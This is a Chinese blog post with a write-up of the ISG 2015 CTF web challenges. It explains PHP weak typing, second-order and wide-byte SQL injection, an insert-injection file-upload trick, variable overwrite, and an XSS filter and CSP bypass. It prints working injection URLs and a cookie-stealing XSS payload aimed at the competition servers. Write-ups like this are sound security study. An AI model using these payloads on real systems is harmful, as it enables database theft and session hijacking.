LoRexxar's Blog | 信息技术分享

ISG2015_writeup

2015/11/17

前段时间一直忙于各种事,最近刚好有时间,所以还是总结下isg的web题目,避免以后忘记…

WEB

WEB 50 collision(php 弱类型)

没什么可说的,前段时间遇到过的题目,由于php的弱类型判断,所以如果传入两个值的md5值都为0e开头,就会出现0 == 0,绕过判断。

md5(‘240610708’) ‘s result is 0e462097431906509019562988736854.

md5(‘QNKCDZO’) ‘s result is 0e830400451993494058024219903391.

web 150 array (数组key上限比较截断)

利用的是php数组比较的时候key会截断的bug。user[4294967296]时,即可绕过条件限制。剩下就是爆破时间戳。
这里有两个链接

https://bugs.php.net/bug.php?id=69892
http://www.sektioneins.de/blog/15-07-31-php_challenge_2015.html

webdroid 200 (php 弱类型比较)

题目是封装在一个apk里面的,所以当时做题目的时候也没想过要打开看看,但其实题目很简单,在apk可以发现一个接口,提交的secret会判断和服务器是否相同,通过json方式发包,一般来说,传入的字符会被当作字符串,但是这里经过json_decode,会恢复数据类型,这里就可以利用php的弱类型比较,php官方文档里关于弱类型比较的部分是这样的:

injection (二次注入)

部分源码给出是这样的:

1
2
3
4
5
if($_GET['search']){
$username = $_SESSION['username'];
$title = mysql_real_escape_string($_GET['search']);
$sql = "select * from posts where username='$username' and title like '$title'";
$result = mysql_query($sql);

这里通过看了大牛的writeup,让我见识到了不同方式的注入,这里就用了一个奇妙的方式bypass。

search的时候会把$_SESSION['username']直接带入语句中,而$_SESSION['username']来自数据库。程序进行了两次escape,导致没法直接二次注入。考虑用数据库字段长度的截断来bypass。

首先fuzz出数据库username字段的长度,然后把最后一位改为,这样经过 php 转义之后就成了\,但是因为\入库的时候字段 长度限制只能留下一个,这样等再次 select 出来的时候就能逃逸单引号了。

注册登陆后直接search出flag:

1
index.php?search=%20union%20select%201,2,(select%20flag%20from%20flag),4%23

shell 250 (特殊用户名导致文件上传漏洞)

上传后的文件会被重命名,文件名与注册的用户名有关,而用户名做了正则判断,不允许特殊字符。当时只发现了这么几点,后来看writeup才知道:

在注册的email处有注入,可以用insert注入插入多行,额外新建一个salt.php的用户,利用Apache的解析问题即可获取flag。

1
md5@salt.com','1'),('salt.php',md5('salt'),'2','2')#

xssme 500 (多次url编码绕过特殊字符过滤)

题目是这样的:
1、请用最新版chrome测试
2、最终的payload的形式是一个url,payload会在站内触发,请不要发送到我的邮箱。
3、admin只会点你发过去的本站内url,任何不是url的东西都不会去碰。另外admin不能访问外部的服务器。

打开题目稍微测试了下,发现大部分有用的字符统统被过滤,而且script和on也被过滤,但是还是年轻,本能以为改变大小写肯定没用,所以当时没有试过,但是题目其实还是有不少坑,不仅仅是弹窗就可以得到flag:
1、替换script,当然可以用scscriptript绕过,这样顺带把chrome自带的xss filter绕过了。
2、启用了CSP,只允许引用本站脚本。利用回显的点,构造出xsspayload,多余的报错信息需要注释掉。
3、url编码。因为会涉及到一个页面的多次嵌套引用,payload里哪些地方需要编码哪些不用要想清楚。
4、server限制了不能访问外网,考虑让admin发信息给自己将xss得到的敏感信息返回。
5、payload要发送给admin,这时候又会经过一次script替换。

所以综合起来payload就是这样的

1
http://202.120.7.136:8888/html/index.php?action=send&content=%3Cscrscriscriptptipt%20src%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26to=*/%26content%3Dwindow.location%253D%2522http%253A//202.120.7.136:8888/html/index.php%253Faction%253Dsend%2526content%253D%2522%252Bdocument.cookie%252B%2522%2526to%253Dmd5_salt%2522/*%22%3E%3C/scscrscriptiptript%3E

这样看不太清晰,让我们url解码下就能看出端倪了

1
<scrscriscriptptipt src="http://202.120.7.136:8888/html/index.php?action=send&to=*/&content=window.location%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26content%3D%22%2Bdocument.cookie%2B%22%26to%3Dmd5_salt%22/*"></scscrscriptiptript>

再去掉过滤:

1
<script src="http://202.120.7.136:8888/html/index.php?action=send&to=*/&content=window.location%3D%22http%3A//202.120.7.136:8888/html/index.php%3Faction%3Dsend%26content%3D%22%2Bdocument.cookie%2B%22%26to%3Dmd5_salt%22/*"></script>

admin看到后会打开并发送

1
window.location="http://202.120.7.136:8888/html/index.php?action=send&content="+document.cookie+"&to=md5_salt"

这样就能获取admin的flag了

Fruit Store(200) (宽字节注入)

题目不难,只要找到注入点就很容易跑出flag。
这里主要用到的是%df的宽字节,听说扔进sqlmap都可以直接跑出来;

先跑表名:

1
http://202.120.7.140:8888/try.php?fruit=flag%df%27+and+1=2+union+select+group_concat(distinct+table_name),2+from+information_schema.tables+where+table_schema=database()%23

fruit,tell_me_who_u_are
再跑列名:

1
flag%df%27+and+1=2+union+select+group_concat(distinct+column_name),2+from+information_schema.columns+where+table_name=0x74656c6c5f6d655f77686f5f755f617265%23

flag
最后查查看

1
flag%df%27+and+1=2+union+select+group_concat(flag),2+from+tell_me_who_u_are%23

get!

SuperAdmin(250) (%0a过注册 变量覆盖)


在注册页面中尝试admin加上多个%0a注册,登录,绕过了admin的检查。得到提示,只有本地用户可以得到调试信息,于是将XXF改成127.0.0.1,得到如下调试信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

function runmagicquotes(&$svar){
if(!getmagicquotesgpc()){
if( isarray($svar) ){
foreach($ svar as $k => $v)
$svar[$k] = runmagicquotes($v);
}
else{
$svar = addslashes($svar);
}
}
return $svar;
}
...... ......
register($username, $password, $email, $is_super);

存在全局变量覆盖的问题,重新注册admin加上多个%0a的账号,加个is_super=1的参数,登录得到flag

web的题目大概就这么多了,虽然这次成绩不好,但是还是见识了很多没有见过的东西,也算是开心了,唯一可惜的就是最后102名,没能拿到100的证书。不过,管他呢

CATALOG
  1. 1. WEB
    1. 1.1. WEB 50 collision(php 弱类型)
    2. 1.2. web 150 array (数组key上限比较截断)
    3. 1.3. webdroid 200 (php 弱类型比较)
    4. 1.4. injection (二次注入)
    5. 1.5. shell 250 (特殊用户名导致文件上传漏洞)
    6. 1.6. xssme 500 (多次url编码绕过特殊字符过滤)
    7. 1.7. Fruit Store(200) (宽字节注入)
    8. 1.8. SuperAdmin(250) (%0a过注册 变量覆盖)